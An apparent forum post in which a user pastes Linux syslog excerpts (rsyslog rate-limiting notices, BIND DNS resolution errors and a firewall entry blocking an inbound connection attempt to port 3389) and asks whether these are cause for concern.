Feb  6 10:25:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 4058 due to rate-limiting
Feb  6 10:27:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 4195 due to rate-limiting
Feb  6 10:27:44 host rsyslogd-2177: imuxsock lost 215 messages from pid 4195 due to rate-limiting
Feb  6 10:33:00 host named[1905]: error (network unreachable) resolving 'dlv.isc.org/DNSKEY/IN': 2001:500:c::1#53
Feb  6 10:33:00 host named[1905]: error (network unreachable) resolving 'ns.isc.afilias-nst.info/A/IN': 2001:500:41::1#53
Feb  6 10:33:00 host named[1905]: error (network unreachable) resolving 'ns.isc.afilias-nst.info/AAAA/IN': 2001:500:41::1#53
Feb  6 10:33:00 host named[1905]: error (network unreachable) resolving 'ns.isc.afilias-nst.info/A/IN': 2001:500:19::1#53
Feb  6 10:33:00 host named[1905]: error (network unreachable) resolving 'ns.isc.afilias-nst.info/AAAA/IN': 2001:500:19::1#53
Feb  6 10:33:00 host named[1905]: error (network unreachable) resolving 'ns.isc.afilias-nst.info/A/IN': 2001:500:49::1#53
Feb  6 10:33:00 host named[1905]: error (network unreachable) resolving 'ns.isc.afilias-nst.info/AAAA/IN': 2001:500:49::1#53
Feb  6 10:33:00 host named[1905]: error (network unreachable) resolving 'dlv.isc.org/DNSKEY/IN': 2001:4f8:0:2::20#53
Feb  6 10:33:00 host named[1905]: error (network unreachable) resolving 'dlv.isc.org/DNSKEY/IN': 2001:500:60::29#53
Feb  6 10:40:14 host kernel: imklog 5.8.10, log source = /proc/kmsg started.
Feb  6 10:40:14 host rsyslogd: [origin software="rsyslogd" swVersion="5.8.10" x-pid="1505" x-info="http://www.rsyslog.com"] start
Feb  6 10:40:14 host kernel: Initializing cgroup subsys cpuset

TOS=0x00 PREC=0x20 TTL=106 ID=30772 DF PROTO=TCP SPT=1299 DPT=3389 WINDOW=65535 RES=0x00 SYN URGP=0
Feb  6 10:02:14 host rsyslogd-2177: imuxsock begins to drop messages from pid 1723 due to rate-limiting
Feb  6 10:03:14 host rsyslogd-2177: imuxsock lost 12 messages from pid 1723 due to rate-limiting
Feb  6 10:04:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 1723 due to rate-limiting
Feb  6 10:08:59 host kernel: Firewall: *TCP_IN Blocked* IN=eth0 OUT= MAC=00:19:b9:fa:24:b8:d4:ca:6d:07:36:55:08:00 SRC=74.82.47.56 DST=192.168.11.250 LEN=40 TOS=0x00 PREC=0x20 TTL=247 ID=54321 PROTO=TCP SPT=39035 DPT=3389 WINDOW=65535 RES=0x00 SYN URGP=0
Feb  6 10:12:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 2594 due to rate-limiting
Feb  6 10:13:14 host rsyslogd-2177: imuxsock lost 214 messages from pid 2594 due to rate-limiting
Feb  6 10:13:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 2594 due to rate-limiting
Feb  6 10:15:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 3412 due to rate-limiting
Feb  6 10:16:14 host rsyslogd-2177: imuxsock lost 215 messages from pid 3412 due to rate-limiting
Feb  6 10:16:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 3412 due to rate-limiting
Feb  6 10:18:16 host rsyslogd-2177: imuxsock begins to drop messages from pid 3649 due to rate-limiting
Feb  6 10:19:14 host rsyslogd-2177: imuxsock lost 215 messages from pid 3649 due to rate-limiting
Feb  6 10:19:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 3649 due to rate-limiting
Feb  6 10:20:32 host rsyslogd-2177: imuxsock lost 218 messages from pid 3649 due to rate-limiting
Feb  6 10:21:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 3649 due to rate-limiting
Feb  6 10:22:14 host rsyslogd-2177: imuxsock lost 218 messages from pid 3649 due to rate-limiting
Feb  6 10:22:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 3649 due to rate-limiting
Feb  6 10:24:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 4058 due to rate-limiting
Feb  6 10:25:14 host rsyslogd-2177: imuxsock lost 215 messages from pid 4058 due to rate-limiting
Feb  6 10:25:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 4058 due to rate-limiting
Feb  6 10:27:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 4195 due to rate-limiting
Feb  6 10:27:44 host rsyslogd-2177: imuxsock lost 215 messages from pid 4195 due to rate-limiting
Feb  6 10:33:00 host named[1905]: error (network unreachable) resolving 'dlv.isc.org/DNSKEY/IN': 2001:500:c::1#53
Feb  6 10:33:00 host named[1905]: error (network unreachable) resolving 'ns.isc.afilias-nst.info/A/IN': 2001:500:41::1#53
Feb  6 10:33:00 host named[1905]: error (network unreachable) resolving 'ns.isc.afilias-nst.info/AAAA/IN': 2001:500:41::1#53
Feb  6 10:33:00 host named[1905]: error (network unreachable) resolving 'ns.isc.afilias-nst.info/A/IN': 2001:500:19::1#53
Feb  6 10:33:00 host named[1905]: error (network unreachable) resolving 'ns.isc.afilias-nst.info/AAAA/IN': 2001:500:19::1#53
Feb  6 10:33:00 host named[1905]: error (network unreachable) resolving 'ns.isc.afilias-nst.info/A/IN': 2001:500:49::1#53
Feb  6 10:33:00 host named[1905]: error (network unreachable) resolving 'ns.isc.afilias-nst.info/AAAA/IN': 2001:500:49::1#53
Feb  6 10:33:00 host named[1905]: error (network unreachable) resolving 'dlv.isc.org/DNSKEY/IN': 2001:4f8:0:2::20#53
Feb  6 10:33:00 host named[1905]: error (network unreachable) resolving 'dlv.isc.org/DNSKEY/IN': 2001:500:60::29#53
Feb  6 10:40:14 host kernel: imklog 5.8.10, log source = /proc/kmsg started.
Feb  6 10:40:14 host rsyslogd: [origin software="rsyslogd" swVersion="5.8.10" x-pid="1505" x-info="http://www.rsyslog.com"] start
Feb  6 10:40:14 host kernel: Initializing cgroup subsys cpuset

if you need more, I can send it to you!

Please give me a hint - to worry or it is not anything bad...

Pages: [1] 2